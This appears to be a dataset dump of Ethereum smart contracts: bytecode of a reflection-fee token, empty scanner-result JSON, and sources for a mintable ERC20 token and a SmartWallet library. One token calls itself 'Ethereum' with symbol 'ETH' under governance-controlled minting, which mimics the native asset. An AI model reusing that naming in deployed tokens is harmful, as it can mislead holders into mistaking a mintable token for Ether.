05260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611e5b565b8080600101915050611c5f565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611eed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806138f36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806138126022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806138ce6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561216a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806137766023913960400191505060405180910390fd5b600081116121c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806138a56029913960400191505060405180910390fd5b6121cb611284565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122395750612209611284565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561229a57600f54811115612299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806138346028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561233d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123525761234d8383836127fd565b612589565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123f55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240a57612405838383612a7b565b612588565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124ae5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124c3576124be838383612cf9565b612587565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125655750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561257a57612575838383612ee2565b612586565b612585838383612cf9565b5b5b5b5b505050565b600083831115829061263b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156126005780820151818401526020810190506125e5565b50505050905090810190601f16801561262d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061265b6131f5565b91509150612672818361267990919063ffffffff16565b9250505090565b60006126bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613486565b905092915050565b600080828401905083811015612741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006127688a600d54600e5461354c565b925092509250600061277861264e565b9050600080600061278b8e8787876135e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061258e565b905092915050565b600061280761264e565b905060008060008060008061281b8861274b565b955095509550955095509550600061283c888361366b90919063ffffffff16565b905061289089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292587600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129ba86600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a09858285856136f1565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612a8561264e565b9050600080600080600080612a998861274b565b9550955095509550955095506000612aba888361366b90919063ffffffff16565b9050612b0e87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ba384600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3886600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c87858285856136f1565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612d0361264e565b9050600080600080600080612d178861274b565b9550955095509550955095506000612d38888361366b90919063ffffffff16565b9050612d8c87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2186600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e70858285856136f1565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612eec61264e565b9050600080600080600080612f008861274b565b9550955095509550955095506000612f21888361366b90919063ffffffff16565b9050612f7589600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061300a87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127b390919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309f84600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061313486600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c390919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613183858285856136f1565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b600080600060075490506000600654905060005b6005805490508110156134495782600160006005848154811061322857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330f57508160026000600584815481106132a757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156133265760075460065494509450505050613482565b6133af600160006005848154811061333a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846127b390919063ffffffff16565b925061343a60026000600584815481106133c557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836127b390919063ffffffff16565b91508080600101915050613209565b5061346160065460075461267990919063ffffffff16565b82101561347957600754600654935093505050613482565b81819350935050505b9091565b60008083118290613532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134f75780820151818401526020810190506134dc565b50505050905090810190601f1680156135245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161353e57fe5b049050809150509392505050565b600080600080613578606461356a888a61366b90919063ffffffff16565b61267990919063ffffffff16565b905060006135a26064613594888b61366b90919063ffffffff16565b61267990919063ffffffff16565b905060006135cb826135bd858c6127b390919063ffffffff16565b6127b390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806135fb858961366b90919063ffffffff16565b90506000613612868961366b90919063ffffffff16565b90506000613629878961366b90919063ffffffff16565b905060006136528261364485876127b390919063ffffffff16565b6127b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561367e57600090506136eb565b600082840290508284828161368f57fe5b04146136e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061385c6021913960400191505060405180910390fd5b809150505b92915050565b6137188361370a866007546127b390919063ffffffff16565b6127b390919063ffffffff16565b600781905550613733826008546126c390919063ffffffff16565b60088190555061374e816009546126c390919063ffffffff16565b600981905550613769816006546127b390919063ffffffff16565b6006819055505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030306539416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220282e5120a29ae7fc5fc54d7f91325703c3ca1ab59a3572f9b0b38d95262406cf64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,121
0x7f7348b31bc8d509192536bf0266d97b7d5cc386
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ /** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e23, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Ethereum is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Ethereum", "ETH", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e23); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x737f7348b31bc8d509192536bf0266d97b7d5cc38630146080604052600080fdfea265627a7a72315820f4dc7e83159db5dd26ece09fa27dceed6de34482efa88b1b54ffaf22eb7940a664736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,122
0x3ddb01471395C34E9905c492F62BFd860CcBD77E
pragma solidity ^0.4.24; contract IERC20Token { // these functions aren&#39;t abstract since the compiler emits automatically generated getter functions as external function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract Ownable { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /* @dev constructor */ constructor (address _owner) public { owner = _owner; } /* @dev allows execution by the owner only */ modifier ownerOnly { require(msg.sender == owner); _; } /* @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /* @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Utils { /* @dev constructor */ constructor() public { } /* @dev verifies that an amount is greater than zero */ modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } /* @dev validates an address - currently only checks that it isn&#39;t null */ modifier validAddress(address _address) { require(_address != 0x0); _; } /* @dev verifies that the address is different than this contract address */ modifier notThis(address _address) { require(_address != address(this)); _; } /* @dev verifies that the string is not empty */ modifier notEmpty(string _str) { require(bytes(_str).length > 0); _; } // Overflow protected math functions /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y); return _x - _y; } /* @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract WithdrawalConfigurations is Ownable, Utils { /* * Members */ uint public minWithdrawalCoolingPeriod; uint constant maxWithdrawalCoolingPeriod = 12 * 1 weeks; // = 14515200 seconds uint public withdrawalCoolingPeriod; /* * Events */ event WithdrawalRequested(address _userWithdrawalAccount, address _sender); event SetWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod); /* @dev constructor @param _withdrawalCoolingPeriod The cooling period @param _minWithdrawalCoolingPeriod The minimum time from withdraw request to allow performing it */ constructor (uint _withdrawalCoolingPeriod, uint _minWithdrawalCoolingPeriod) Ownable(msg.sender) public { require(_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= _minWithdrawalCoolingPeriod); require(_minWithdrawalCoolingPeriod >= 0); minWithdrawalCoolingPeriod = _minWithdrawalCoolingPeriod; withdrawalCoolingPeriod = _withdrawalCoolingPeriod; } /* @dev Get the withdrawalCoolingPeriod parameter value. */ function getWithdrawalCoolingPeriod() external view returns(uint) { return withdrawalCoolingPeriod; } /* @dev Set the withdrawalCoolingPeriod parameter value. @param _withdrawalCoolingPeriod Cooling period in seconds */ function setWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod) ownerOnly() public { require (_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= minWithdrawalCoolingPeriod); withdrawalCoolingPeriod = _withdrawalCoolingPeriod; emit SetWithdrawalCoolingPeriod(_withdrawalCoolingPeriod); } /* @dev Fire the WithdrawalRequested event. @param _userWithdrawalAccount User withdrawal account address @param _sender The user account, activating this request */ function emitWithrawalRequestEvent(address _userWithdrawalAccount, address _sender) public { emit WithdrawalRequested(_userWithdrawalAccount, _sender); } } library SmartWalletLib { /* * Structs */ struct Wallet { address operatorAccount; address userWithdrawalAccount; address feesAccount; uint withdrawAllowedAt; //In Seconds } /* * Members */ string constant VERSION = "1.1"; //The below is a sample address of a deployed WithdrawalConfigurations contract. //If changed, need to change in the tests as well. address constant withdrawalConfigurationsContract = 0xe9f25cc107e6435ccbe0d5e09331db4e42aaefb9; /* * Modifiers */ modifier validAddress(address _address) { require(_address != 0x0); _; } modifier addressNotSet(address _address) { require(_address == 0); _; } modifier operatorOnly(address _operatorAccount) { require(msg.sender == _operatorAccount); _; } modifier userWithdrawalAccountOnly(Wallet storage _self) { require(msg.sender == _self.userWithdrawalAccount); _; } /* * Events */ event TransferToBackupAccount(address _token, address _backupAccount, uint _amount); event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev Initialize the wallet with the operator and backupAccount address @param _self Wallet storage @param _operator The operator account @param _feesAccount The account to transfer fees to */ function initWallet(Wallet storage _self, address _operator, address _feesAccount) public validAddress(_operator) validAddress(_feesAccount) { _self.operatorAccount = _operator; _self.feesAccount = _feesAccount; } /* @dev Setting the account of the user to send funds to. @param _self Wallet storage @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(Wallet storage _self, address _userWithdrawalAccount) public operatorOnly(_self.operatorAccount) validAddress(_userWithdrawalAccount) addressNotSet(_self.userWithdrawalAccount) { _self.userWithdrawalAccount = _userWithdrawalAccount; emit SetUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer @param _fee Fee to transfer */ function transferToUserWithdrawalAccount(Wallet storage _self, IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public operatorOnly(_self.operatorAccount) validAddress(_self.userWithdrawalAccount) { if (_fee > 0) { _feesToken.transfer(_self.feesAccount, _fee); } _token.transfer(_self.userWithdrawalAccount, _amount); emit TransferToUserWithdrawalAccount(_token, _self.userWithdrawalAccount, _amount, _feesToken, _self.feesAccount, _fee); } /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev user request withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function requestWithdraw(Wallet storage _self) public userWithdrawalAccountOnly(_self) { WithdrawalConfigurations withdrawalConfigurations = WithdrawalConfigurations(withdrawalConfigurationsContract); _self.withdrawAllowedAt = safeAdd(now, withdrawalConfigurations.getWithdrawalCoolingPeriod()); withdrawalConfigurations.emitWithrawalRequestEvent(_self.userWithdrawalAccount, msg.sender); } /* @dev user perform withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function performUserWithdraw(Wallet storage _self, IERC20Token _token) public userWithdrawalAccountOnly(_self) { require(_self.withdrawAllowedAt != 0 && _self.withdrawAllowedAt <= now ); uint userBalance = _token.balanceOf(this); _token.transfer(_self.userWithdrawalAccount, userBalance); emit PerformUserWithdraw(_token, _self.userWithdrawalAccount, userBalance); } } contract SmartWallet { /* * Members */ using SmartWalletLib for SmartWalletLib.Wallet; SmartWalletLib.Wallet public wallet; // Wallet public wallet; /* * Events */ event TransferToBackupAccount(address _token, address _backupAccount, uint _amount); event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev constructor @param _backupAccount A default operator&#39;s account to send funds to, in cases where the user account is unavailable or lost @param _operator The contract operator address @param _feesAccount The account to transfer fees to */ constructor (address _operator, address _feesAccount) public { wallet.initWallet(_operator, _feesAccount); } /* @dev Setting the account of the user to send funds to. @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(address _userWithdrawalAccount) public { wallet.setUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer */ function transferToUserWithdrawalAccount(IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public { wallet.transferToUserWithdrawalAccount(_token, _amount, _feesToken, _fee); } /* @dev Allows the user to request a withdraw of his/her placements @param _token The ERC20 token the user wishes to withdraw from */ function requestWithdraw() public { wallet.requestWithdraw(); } /* @dev Allows the user to perform the requestWithdraw operation @param _token The ERC20 token the user withdraws from */ function performUserWithdraw(IERC20Token _token) public { wallet.performUserWithdraw(_token); } }
0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631d9082c48114610071578063521eb273146100a15780639219baa4146100eb578063b3423eec1461010c578063fe35530c14610121575b600080fd5b34801561007d57600080fd5b5061009f600160a060020a036004358116906024359060443516606435610142565b005b3480156100ad57600080fd5b506100b66101ee565b60408051600160a060020a03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b3480156100f757600080fd5b5061009f600160a060020a0360043516610211565b34801561011857600080fd5b5061009f6102a4565b34801561012d57600080fd5b5061009f600160a060020a0360043516610327565b604080517f1557a52f000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a0380881660248401526044830187905285166064830152608482018490529151737453841383579b92210e6564aaf86148717e466f92631557a52f9260a48082019391829003018186803b1580156101d057600080fd5b505af41580156101e4573d6000803e3d6000fd5b5050505050505050565b600054600154600254600354600160a060020a0393841693928316929091169084565b604080517fb2d07945000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03841660248301529151737453841383579b92210e6564aaf86148717e466f9263b2d079459260448082019391829003018186803b15801561028957600080fd5b505af415801561029d573d6000803e3d6000fd5b5050505050565b604080517f3be5e49f0000000000000000000000000000000000000000000000000000000081526000600482018190529151737453841383579b92210e6564aaf86148717e466f92633be5e49f9260248082019391829003018186803b15801561030d57600080fd5b505af4158015610321573d6000803e3d6000fd5b50505050565b604080517f2eb9e5d7000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03841660248301529151737453841383579b92210e6564aaf86148717e466f92632eb9e5d79260448082019391829003018186803b15801561028957600080fd00a165627a7a723058201bb05207976